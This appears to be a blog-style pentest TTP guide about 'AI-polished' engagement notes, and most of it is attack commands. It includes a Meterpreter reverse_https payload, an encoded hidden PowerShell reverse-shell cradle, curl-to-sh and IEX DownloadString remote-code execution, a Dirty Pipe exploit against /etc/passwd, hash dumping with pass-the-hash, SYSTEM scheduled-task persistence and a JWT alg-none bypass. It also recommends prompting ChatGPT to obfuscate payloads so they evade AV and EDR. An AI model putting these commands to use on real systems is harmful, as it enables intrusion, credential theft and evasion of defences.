Listen to this Post
Introduction:
Tactics, Techniques, and Procedures (TTPs) form the backbone of professional penetration testing, yet raw engagement notes are often fragmented and unstructured. By applying AI polishing—using large language models to normalize, categorize, and enrich findings—practitioners can transform daily logs into repeatable, shareable playbooks. This article extracts and expands upon real-world TTPs shared by a pentest team lead, delivering verified commands, configuration examples, and step‑by‑step workflows across Linux, Windows, cloud, and API security.
Learning Objectives:
- Extract actionable TTPs from real-world penetration testing engagements.
- Apply AI tools to structure and refine technical notes for knowledge reuse.
- Execute verified Linux/Windows commands for reconnaissance, privilege escalation, lateral movement, and cloud hardening.
You Should Know:
1. Reconnaissance & OSINT: Mapping the Attack Surface
Effective pentests begin with passive and active reconnaissance. AI‑polished notes can automatically collate subdomains, open ports, and service banners into a structured format.
Step‑by‑step guide:
- Passive OSINT: Use `theHarvester` and `subfinder` to enumerate domains without touching the target.
- Active scanning: Run `nmap` with service detection and default scripts.
- AI enrichment: Feed scan results into a local LLM (e.g., Ollama + Mistral) with the prompt: “Extract all HTTP servers, their versions, and potential CVEs from this nmap output.”
Linux commands:
Subdomain enumeration subfinder -d target.com -o subs.txt Stealthy SYN scan with version detection sudo nmap -sS -sV -p- -T4 -iL subs.txt -oA recon_scan Parse for interesting services grep "open" recon_scan.gnmap | grep -E "http|https|ssh|smb"
Windows (PowerShell) equivalent:
Test-NetConnection for quick port checks
"192.168.1.1","192.168.1.2" | ForEach-Object { Test-NetConnection $_ -Port 22,445,3389 }
2. Initial Access & Weaponization: Crafting Evasive Payloads
Real‑world engagements demand payloads that bypass AV/EDR. AI can help obfuscate shellcode and generate phishing templates.
Step‑by‑step guide:
- Generate base payload using `msfvenom` with encrypted encoding.
- Apply AI obfuscation – use ChatGPT with prompt: “Rewrite this PowerShell one‑liner using environment variable concatenation and string splitting to avoid static detection.”
- Package for delivery – embed in a macro or HTA.
Linux command (msfvenom):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -f exe -o payload.exe --encrypt xor --encrypt-key 0xAB
Windows command line (PowerShell download cradle):
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMAAuADAALgA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQA...
- Privilege Escalation on Linux: Enumerating the Kernel and Cron
Once on a Linux host, automate enumeration with `linpeas` and cross‑check with AI‑derived CVE databases.
Step‑by‑step guide:
- Run linpeas from memory:
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. - Identify SUID binaries and exploitable kernel versions.
- AI analysis: Paste `/var/log/auth.log` snippets into a local LLM to detect failed sudo attempts or misconfigured `cron` jobs.
Commands:
Find world-writable files with SUID find / -perm -4000 -type f 2>/dev/null Check sudo rights without password sudo -l Dump cron jobs for privilege escalation cat /etc/crontab; ls -la /etc/cron./
Exploit example (Dirty Pipe – CVE‑2022‑0847):
gcc -o dirtypipe exploit.c && ./dirtypipe /etc/passwd 1
- Privilege Escalation on Windows: Unquoted Service Paths & Token Manipulation
Windows misconfigurations remain a primary vector. Combine `PowerUp` and `SeImpersonatePrivilege` attacks.
Step‑by‑step guide:
- Run PowerUp to discover unquoted service paths, always install weak permissions.
- Abuse SeImpersonate using `PrintSpoofer` or
JuicyPotatoNG. - AI polished output: Convert `Get-Service` logs into a checklist of high‑priority fixes.
PowerShell commands (run in pentest context):
Import PowerUp and scan
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
Invoke-AllChecks | Out-File privesc.txt
Unquoted service path exploit
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\"
Manual token stealing (using incognito module in Meterpreter):
meterpreter> load incognito meterpreter> list_tokens -u meterpreter> impersonate_token "NT AUTHORITY\SYSTEM"
- Lateral Movement & Persistence: Pass‑the‑Hash & Scheduled Tasks
After escalating, move laterally without re‑entering credentials. AI can map network shares and suggest propagation paths.
Step‑by‑step guide:
- Dump hashes with `mimikatz` or
secretsdump.py. - Pass‑the‑Hash using `psexec` or
wmiexec. - Establish persistence via scheduled tasks or WMI event subscriptions.
Linux to Windows lateral movement (using Impacket):
Extract hashes from a compromised Windows host impacket-secretsdump domain/user@target -hashes :aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f... Pass the NTLM hash to psexec impacket-psexec -hashes :1a2b3c4d5e6f... domain/user@target
Windows persistence (schtasks):
schtasks /create /tn "UpdateTask" /tr "C:\Users\Public\beacon.exe" /sc daily /st 09:00 /ru SYSTEM
6. AI‑Polished Note‑Taking: Prompt Engineering for TTP Documentation
The original post mentions “AI‑polished” notes. Here’s how to replicate it during daily engagements.
Step‑by‑step guide:
- Collect raw logs (bash history, Mimikatz output, Nmap scans).
- Feed into an LLM with a structured prompt: “You are a senior pentest lead. Convert the following raw data into MITRE ATT&CK technique IDs, recommended mitigations, and step‑by‑step verification commands.”
- Output a markdown table for each engagement phase.
Example prompt for ChatGPT/Llama:
Raw data: [Paste Nmap scan of 10.10.10.5 showing port 445 open, SMB signing disabled] [Paste 'smbclient -L //10.10.10.5 -N' showing a 'ShareData' folder] Generate: - MITRE TTP: T1021.002 (SMB Windows Admin Shares) - Exploitation: impacket-smbexec with null session - Remediation: Enable SMB signing, restrict null sessions
- Cloud Hardening & API Security: Testing IAM Misconfigurations
Modern engagements include AWS, Azure, or GCP. AI can help parse IAM policies for privilege escalation paths.
Step‑by‑step guide:
- Enumerate AWS S3 buckets using
s3scanner. - Check for public exposure with
bucket_finder. - Test API endpoints using `ffuf` and a JWT cracker.
AWS CLI commands (from a compromised access key):
List all S3 buckets aws s3 ls Check bucket ACLs aws s3api get-bucket-acl --bucket target-bucket Identify overprivileged roles aws iam list-attached-user-policies --user-name pentester
API security test (JWT none algorithm attack):
Decode a JWT without verification echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" | cut -d"." -f2 | base64 -d Attempt to bypass with 'alg': 'none' python3 jwt_tool.py <token> -X a
What Undercode Say:
- AI polish transforms chaos into curriculum – unstructured pentest notes become repeatable knowledge assets, reducing missed steps in retests.
- Automation does not replace manual TTP mastery – while LLMs accelerate documentation, understanding commands like `find / -perm -4000` or `secretsdump.py` remains critical for root cause analysis.
- Cross‑platform agility is mandatory – the modern pentester flows seamlessly between Linux enumeration, Windows privilege escalation, and cloud API attacks within a single engagement.
- The URL shared by Seif‑Allah Homrani (https://lnkd.in/dpKd_yrr) is a real‑world artifact – it likely contains a curated map of TTPs that, when combined with AI re‑prompting, yields a dynamic, living framework for red teams.
Prediction:
Within 18 months, AI‑polished TTP repositories will replace static PDF checklists. Offensive teams will use fine‑tuned LLMs that ingest a day’s logs and automatically generate MITRE‑aligned reports, detection rules, and even remediation Ansible playbooks. However, this will widen the gap between practitioners who treat AI as a “copy‑paste” crutch and those who use it as a force multiplier for deep technical validation. The most valuable pentesters will be those who can debug both kernel exploits and a faulty LLM prompt in the same hour. Expect to see “prompt engineering for pentesters” as a formal module in advanced training courses by Q1 2027.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Seif Allah – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
